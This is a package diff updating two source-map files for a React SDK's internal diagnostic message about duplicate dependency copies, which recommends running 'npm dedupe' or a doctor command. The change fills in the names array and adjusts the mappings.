package/dist/utils/duplicate-instance.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"duplicate-instance.cjs","names":[],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":"AAoBA,IAAa,EACT"}
+{"version":3,"file":"duplicate-instance.cjs","names":["DUPLICATE_COPY_REMEDY"],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":"AAoBA,IAAaA,EACT,oP"}

package/dist/utils/duplicate-instance.js.map

@@ -1 +1 @@
-{"version":3,"file":"duplicate-instance.js","names":[],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":";AAoBA,IAAa,IACT"}
+{"version":3,"file":"duplicate-instance.js","names":["DUPLICATE_COPY_REMEDY"],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":";AAoBA,IAAaA,IACT"}